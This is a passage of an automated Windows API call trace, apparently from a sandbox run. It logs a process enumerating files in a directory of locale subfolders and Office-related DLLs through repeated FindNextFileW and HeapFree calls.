	[0156.929] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0156.931] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.931] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0156.940] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.940] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0156.943] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.943] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0156.948] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.948] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0156.950] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.950] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0156.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.956] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0156.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.958] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0156.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.962] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0156.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.966] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0156.971] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.971] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0156.973] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.973] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0156.979] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.979] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0156.981] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.981] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0156.987] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.987] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0156.991] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.991] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0156.993] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42aff70 | out: hHeap=0x5a0000) returned 1
	[0156.993] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0157.225] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.225] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0157.227] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.227] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0157.229] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.229] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0157.230] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.230] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0157.232] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.232] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0157.233] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.233] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0157.235] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.235] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0157.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.236] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0157.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.238] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0157.240] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.240] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0157.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.242] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0157.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.243] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0157.786] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.786] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0157.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.789] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0157.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.794] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0157.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.796] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0157.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.801] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0157.803] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.803] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0157.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.810] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0157.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.813] FindNextFileW (in: hFindFile=0x4140398, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0157.813] FindClose (in: hFindFile=0x4140398 | out: hFindFile=0x4140398) returned 1
	[0157.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x429ff68 | out: hHeap=0x5a0000) returned 1
	[0157.813] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0157.813] FindClose (in: hFindFile=0x4140358 | out: hFindFile=0x4140358) returned 1
	[0157.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x428ff60 | out: hHeap=0x5a0000) returned 1
	[0157.813] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
